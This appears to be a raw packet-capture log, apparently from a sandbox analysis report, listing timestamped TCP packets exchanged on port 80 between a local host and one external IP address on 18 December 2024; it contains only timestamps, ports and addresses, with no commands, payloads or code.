Dec 18, 2024 13:49:53.291271925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.291357040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.291474104 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.292046070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.292318106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.292373896 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.292992115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.293242931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.293458939 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.293973923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.294209957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.294250965 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.294918060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.295356035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.295603037 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.295937061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.296156883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.296199083 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.296899080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.297010899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.297322035 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.297796011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.298037052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.298175097 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.298852921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.299034119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.299078941 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.299798012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.300017118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.300080061 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.300959110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.301242113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.301460981 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.301830053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.302052021 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.302098036 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.302992105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.303248882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.303364038 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.303884983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.304045916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.304090023 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.304886103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.305111885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.305241108 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.305902958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.306050062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.306116104 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.306829929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.307091951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.307332993 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.307846069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.308104992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.308149099 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.308819056 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.309057951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.309269905 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.309842110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.310094118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.310226917 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.310826063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.311036110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.311345100 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.311877966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.312141895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.312329054 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.313596964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.313616037 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.313713074 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.313915014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.314156055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.314239979 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.315037012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.315285921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.315344095 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.315895081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.364924908 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.461982012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.462004900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.462204933 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.462305069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.462539911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.462737083 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.462950945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.463165045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.463252068 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.463524103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.464359045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.464435101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.464647055 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.465127945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.465250015 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.465332985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.466157913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.466330051 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.466351986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.466928005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.467035055 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.467084885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.467828035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.468086958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.468101025 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.469094992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.469204903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.469283104 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.470149040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.470329046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.470339060 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.471121073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.471327066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.471333981 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.472160101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.472230911 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.472423077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.473038912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.473093987 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.473217010 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.473828077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.473908901 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.473961115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.474834919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.474890947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.475064039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.475778103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.475824118 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.475958109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.476819038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.477062941 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.477072001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.477942944 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.478017092 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.478141069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.479051113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.479119062 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.479197979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.479986906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.480098963 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.480143070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.480808973 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.480921030 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.481029034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.481826067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.481895924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.482103109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.482872009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.483082056 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.483089924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.483792067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.483836889 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.484144926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.484864950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.484920025 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.485037088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.485934973 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.486016989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.486042976 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.486947060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.487282991 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.487370014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.487962008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.488215923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.488426924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.488848925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.489043951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.489068031 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.490009069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.490109921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.490374088 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.490885019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.491000891 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.491049051 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.491884947 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.491995096 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.492310047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.492862940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.492985010 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.493143082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.493885040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.493957043 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.494168997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.494971991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.495060921 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.495076895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.495944977 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.496109009 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.496133089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.496865034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.497102022 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.497160912 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.497997046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.498157024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.498539925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.499103069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.499150038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.499191046 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.499943972 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.500159979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.500472069 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.501123905 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.501209021 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.501389980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.502291918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.502372980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.502410889 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.502991915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.503068924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.503154993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.503915071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.503966093 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.504192114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.504985094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.505028963 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.505140066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.505995989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.506058931 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.506131887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.507148981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.507227898 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.507237911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.507956982 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.508099079 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.508157969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.508949995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.509057045 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.509183884 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.510361910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.510531902 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.510705948 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.511389017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.511523962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.511586905 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.512010098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.512218952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.512288094 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.513094902 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.513148069 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.513341904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.556566000 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.653119087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.653359890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.653419018 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.653853893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.654191017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.654303074 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.654582024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.655052900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.655155897 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.655349970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.656060934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.656141043 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.656223059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.657252073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.657310963 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.657320976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.657963991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.658060074 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.658189058 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.659054041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.659181118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.659311056 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.660060883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.660110950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.660233974 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.660994053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.661042929 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.661242008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.662209034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.662223101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.662281036 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.663032055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.663078070 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.663350105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.664107084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.664186954 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.664361954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.665128946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.665205002 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.665247917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.666074991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.666204929 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.666296959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.667279959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.667310953 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.667371035 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.668050051 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.668107033 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.668271065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.669107914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.669153929 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.669346094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.670126915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.670236111 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.670281887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.671350002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.671498060 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.671519995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.672319889 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.672363043 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.672569036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.673239946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.673296928 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.673368931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.674082994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.674168110 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.674293041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.675120115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.675291061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.675340891 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.676126003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.676213026 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.676376104 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.677138090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.677283049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.677469015 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.678157091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.678267002 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.678333998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.679147959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.679227114 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.679359913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.680239916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.680311918 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.680394888 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.681190968 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.681334019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.681404114 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.682245970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.682305098 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.682404995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.683108091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.683207035 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.683346033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.684139013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.684317112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.684336901 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.685185909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.685275078 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:53.685364008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.686182022 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:53.686340094 CET	49822	80	192.168.2.6	176.113.115.178
